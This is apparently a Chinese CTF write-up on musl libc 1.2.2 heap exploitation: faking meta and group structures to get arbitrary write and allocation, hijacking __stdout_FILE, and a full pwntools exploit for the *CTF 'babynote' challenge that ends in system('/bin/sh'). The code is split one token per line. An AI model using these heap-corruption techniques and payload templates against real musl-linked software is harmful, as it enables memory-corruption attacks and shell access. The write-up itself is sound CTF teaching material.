看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法
一般是下面两种:
(1)free->nontrivial_free()->dequeue
(2)malloc->alloc_slot->dequeue
(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)
任意地址写
meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:
(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)
如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作
同样,从一个简单的demo入手:
(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
/
*
在musl
-
1.2
.
2
目录下编译和链接:
.
/
obj
/
musl
-
gcc main.c
-
o test
patchelf
-
-
set
-
interpreter .
/
libc.so .
/
test
(libc.so就用题目附件给的就好)
*
/
#include<stdio.h>
#include <unistd.h>
void init()
{
setbuf(stdin,
0
);
setbuf(stdout,
0
);
setbuf(stderr,
0
);
}
int
main() {
init();
size_t
*
p1;
p1
=
(size_t
*
)malloc(
0x20
);
/
/
1
read(
0
,p1,
0x10
);
free(p1);
return
0
;
}
|
目标:给0x555555559f00赋值0x55555555b300
首先断在这个地方:
此时meta的构造如下:
发现此时这个meta指向自身,我们通过set指令修改它的pre和next:
1
2
|
set
*
0x55555555b298
=
0x555555559ef8
set
*
0x55555555b2a0
=
0x55555555b300
|
修改过后,ni 发现会卡在一个地方:
但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:
为啥会卡住呢?我们着重分析分析118行这里的源码
这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:
这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):
1
2
|
set
*
0x55555555b310
=
0x55555555b340
set
*
0x55555555b314
=
0x5555
|
(不知道为啥这些地方set就只能一次4字节)
但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:
1
2
3
4
5
6
7
8
9
10
11
|
const struct group
*
base
=
(const void
*
)(p
-
UNIT
*
offset
-
UNIT);
/
/
根据chunK获取group和meta p为chunk指针
const struct meta
*
meta
=
base
-
>meta;
assert
(meta
-
>mem
=
=
base);
/
/
检查
assert
(index <
=
meta
-
>last_idx);
assert
(!(meta
-
>avail_mask & (
1u
<<index)));
assert
(!(meta
-
>freed_mask & (
1u
<<index)));
/
/
通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area
*
area
=
(void
*
)((uintptr_t)meta &
-
4096
);
/
/
meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert
(area
-
>check
=
=
ctx.secret);
/
/
检查area中的secret
|
重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)
meta->mem也就是group的首地址,要设置成meta的地址。同样用set:
1
2
|
set
*
0x000055555555b340
=
0x55555555b300
set
*
0x000055555555b340
=
0x5555
|
设置好过后,ni就能成功free然后实现任意地址写了
上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):
发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):
只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:
这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块
实现任意地址申请
当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改
下面谈谈如何伪造满足条件的meta和group实现任意地址申请:
(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页
(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行
(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。
(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可
(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]
(6)malloc(sc*0x10)申请出target进行修改
伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)
(1)伪造meta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
伪造dequeue
-
meta:
```
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
#fake meta
fake_meta
=
p64(stdout
-
0x18
)
# prev
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
# next
fake_meta
+
=
p64(fake_mem_addr)
# mem
fake_meta
+
=
p32(
0
)
+
p32(
0
)
# avail_mask, freed_mask
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
#duiqi
```
伪造queue
-
meta(或者伪造替换group时不希望meta被free):
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
#freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta
=
p64(
0
)
# prev
fake_meta
+
=
p64(
0
)
# next
fake_meta
+
=
p64(fake_mem_addr)
# mem
fake_meta
+
=
p32(
0
)
+
p32(
0
)
# avail_mask, freed_mask
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
|
(2)伪造group
1
2
|
fake_mem
=
p64(fake_meta_addr)
# meta
fake_mem
+
=
p32(
1
)
+
p32(
0
)
|
(3)拼接payload
1
2
3
|
payload
=
padding
##页对齐
payload
+
=
p64(secret)
+
p64(
0
)
## +p64(0)是为了补齐
payload
+
=
fake_meta
+
b
'\n'
|
任意地址泄露或者任意地址写
musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0
所以,musl的堆题处处充满了风水。。。举个栗子:
注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。
musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:
puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)
这里的rax是通过r12赋值的:
1
2
|
mov rax, qword ptr [r12
+
0x48
]
call rax
|
而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /
那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE
伪造的IO_FILE模板如下:
1
2
3
4
5
6
7
8
9
10
|
fake_IO
=
b
'/bin/sh\x00'
# flags
fake_IO
+
=
p64(
0
)
# rpos
fake_IO
+
=
p64(
0
)
# rend
fake_IO
+
=
p64(libc_base
+
0x5c9a0
)
# close
fake_IO
+
=
p64(
1
)
# wend
fake_IO
+
=
p64(
0
)
# wpos
fake_IO
+
=
p64(
0
)
# mustbezero_1
fake_IO
+
=
p64(
0
)
# wbase
fake_IO
+
=
p64(
0
)
# read
fake_IO
+
=
p64(libc_base
+
libc.sym[
'system'
])
# write
|
其实就改了改三个点,flags,wend和write。原来的长这样:
改wend其实是因为在call rax之前还有这个检查:
同样给出一条参考链子(感谢CatF1y师傅的点拨):
exit->stdio_exit_needed->stdio_exit_needed->close_file
最后的close_file长这样:
最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:
只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了
./libc.so即可看查libc版本:
实现了增删查三种功能
熟悉的结构题题,通过calloc申请0x20大小的note:
name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)
这个函数的流程大体如下:
读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:
也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)
利用流程:
已知存size为0x30的group最多能存10个堆块(0~9)
(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:
(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)
(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content
(4)通过find show B的content,即可泄露libcbase和elfbase
由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:
1
|
libcbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0xb7d60
|
后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)
(1)通过UAF 泄露elfbase和libcbase以及secret
(2)然后申请大堆块在mmap的内存段布置好fake meta
(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]
(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
|
# -*- coding: utf-8 -*-
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
#context.arch = 'amd64'
context.arch
=
'amd64'
context.os
=
'linux'
io
=
lambda
: r.interactive()
sl
=
lambda
a : r.sendline(a)
sla
=
lambda
a,b : r.sendlineafter(a,b)
se
=
lambda
a : r.send(a)
sa
=
lambda
a,b : r.sendafter(a,b)
lg
=
lambda
name,data : log.success(name
+
":"
+
hex
(data))
def
z():
gdb.attach(r)
def
cho(num):
sla(
"option: "
,
str
(num))
def
add(namesz,name,notesz,note):
cho(
1
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
sla(
"note size: "
,
str
(notesz))
sa(
"note content: "
,note)
def
find(namesz,name):
cho(
2
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
delet(namesz,name):
cho(
3
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
remake():
cho(
4
)
def
exp():
global
r
global
libc
r
=
process(
"./babynote"
)
libc
=
ELF(
'./libc.so'
)
## leak libcbase && elfbase
add(
0x38
,
"a"
*
0x38
,
0x38
,
"a"
*
0x38
)
cho(
4
)
for
_
in
range
(
8
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"2"
*
0x38
,
0x28
,
"2"
*
0x28
)
add(
0x38
,
"3"
*
0x38
,
0x38
,
"3"
*
0x38
)
delet(
0x38
,
"2"
*
0x38
)
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"4"
*
0x38
,
0x58
,
"4"
*
0x58
)
find(
0x38
,
"2"
*
0x38
)
r.recvuntil(
"0x28:"
)
libcbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0xb7d60
elfbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0x4c40
log.success(
"libcbase:"
+
hex
(libcbase))
log.success(
"elfbase:"
+
hex
(elfbase))
## set libcfunc
malloc_context
=
libcbase
+
0xb4ac0
mmap_base
=
libcbase
-
0xa000
fake_meta_addr
=
mmap_base
+
0x2010
fake_mem_addr
=
mmap_base
+
0x2040
stdout
=
libcbase
+
0xb4280
## leak secret
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(malloc_context)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
find(
0x28
,pd)
find(
0x38
,
"a"
*
0x38
)
r.recvuntil(
"0x28:"
)
secret
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
lg(
"secret"
,secret)
## set fake meta
add(
0x28
,
"5"
*
0x28
,
0x1200
,
'\n'
)
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
#fake meta
fake_meta
=
p64(stdout
-
0x18
)
# prev
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
# next
fake_meta
+
=
p64(fake_mem_addr)
# mem
fake_meta
+
=
p32(
0
)
+
p32(
0
)
# avail_mask, freed_mask
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
#duiqi
#fake group
fake_mem
=
p64(fake_meta_addr)
# meta
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xaa0
#fake meta area
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
'\n'
find(
0x1200
,payload)
## dequeue 2 set stdout_file -0x10 (where the final fake group)
for
_
in
range
(
3
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"6"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
## reset fake meta , free fake chunk 2 queue it(queue the fake meta)
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
#freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta
=
p64(
0
)
# prev
fake_meta
+
=
p64(
0
)
# next
fake_meta
+
=
p64(fake_mem_addr)
# mem
fake_meta
+
=
p32(
0
)
+
p32(
0
)
# avail_mask, freed_mask
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
# meta
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xa90
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
b
'\n'
##z()
find(
0x1200
, payload)
for
_
in
range
(
2
):
find(
0x28
,
'a'
*
0x28
)
pd
=
p64(elfbase
+
0x5fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"7"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
## reset fake meta's group at stdout_file -0x10
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(fake_meta_addr)
# prev
fake_meta
+
=
p64(fake_meta_addr)
# next
fake_meta
+
=
p64(stdout
-
0x10
)
# mem
fake_meta
+
=
p32(
1
)
+
p32(
0
)
# avail_mask, freed_mask
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
b
'a'
*
0x18
fake_meta
+
=
p64(stdout
-
0x10
)
payload
=
b
'a'
*
0xa80
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
b
'\n'
find(
0x1200
, payload)
## calloc to edit stdout 2 IO_attack
cho(
1
)
sla(
'name size: '
,
str
(
0x28
))
sa(
'name: '
,
'\n'
)
sla(
'note size: '
,
str
(
0x80
))
#sc为8
fake_IO
=
b
'/bin/sh\x00'
# flags
fake_IO
+
=
p64(
0
)
# rpos
fake_IO
+
=
p64(
0
)
# rend
fake_IO
+
=
p64(libcbase
+
0x5c9a0
)
# close
fake_IO
+
=
p64(
1
)
# wend
fake_IO
+
=
p64(
0
)
# wpos
fake_IO
+
=
p64(
0
)
# mustbezero_1
fake_IO
+
=
p64(
0
)
# wbase
fake_IO
+
=
p64(
0
)
# read
fake_IO
+
=
p64(libcbase
+
libc.sym[
'system'
])
# write
##z()
sl(fake_IO)
io()
if
__name__
=
=
'__main__'
:
exp()
|
dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~
感谢xyzmpv师傅的题解以及 师傅的musl源码解析~
更多【小小做题家之——musl 1.2.2的利用手法】相关视频教程:www.yxfzedu.com